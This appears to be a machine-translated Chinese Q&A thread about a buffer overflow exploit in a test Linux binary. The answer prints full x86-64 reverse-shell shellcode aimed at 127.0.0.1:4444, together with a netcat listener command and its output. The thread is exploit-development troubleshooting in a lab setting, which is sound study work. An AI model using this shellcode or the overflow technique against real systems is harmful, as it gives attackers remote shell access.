我正在开发一个简单的64位Linux二进制文件。我通过利用缓冲区溢出并使用jmp rsp控制progrm来控制RIP。
但是,我遇到了shellcode的问题。我不够精明自己写,所以我一直在使用我在网上找到的一些。 shellcode需要在端口4444上给我一个反向shell。
虽然只是为了测试,我尝试了一些基本的shellcode。
作品 - http://shell-storm.org/shellcode/files/shellcode-806.php
不起作用 - https://www.exploit-db.com/exploits/35587/
第一个链接中的shellcode有效。第二个中的那个没有。
我逐步完成了程序,每条指令都排好了。但是,在最后一次系统调用之后,程序继续执行堆栈而不是退出线程。
我真的可以使用它的帮助,我整天都被困在它上面。
答案 0 :(得分:0)
我测试了这两个shellcode,它们都有效。
我认为你错过了第二个问题。据说:
注意:此C代码连接到127.0.0.1:4444
这意味着它正在尝试连接到localhost(127.0.0.1)上的端口4444。如果没有人在监听该端口,那么它将无法连接,只是尝试执行系统调用后的任何内容。
尝试再次执行它,但是这次你需要在执行你的shellcode之前等待端口4444 上的某个连接,比如 netcat
$ nc -lp 4444 -vv
listening on [any] 4444 ...
然后,执行shellcode时
./execshellcode64 "\x31\xf6\xf7\xe6\xff\xc6\x6a\x02\x5f\x04\x29\x0f\x05\x50\x5f\x52\x52\xc7\x44\x24\x04\x7d\xff\xfe\xfe\x81\x44\x24\x04\x02\x01\x01\x02\x66\xc7\x44\x24\x02\x11\x5c\xc6\x04\x24\x02\x54\x5e\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x56\x5a\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x0f\x05"
nectat 警告您(因为-vv意为详细)该端口上存在连接
$ nc -lp 4444 -vv
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost.localdomain [127.0.0.1] 40234
这是您的shellcode启动的连接。
希望这有帮助!
注意: execshellcode64 只是我为测试目的而制作的个人计划。这实际上并不是一个真正的命令。
execshellcode源代码:https://github.com/Hackndo/misc/tree/master/execshellcode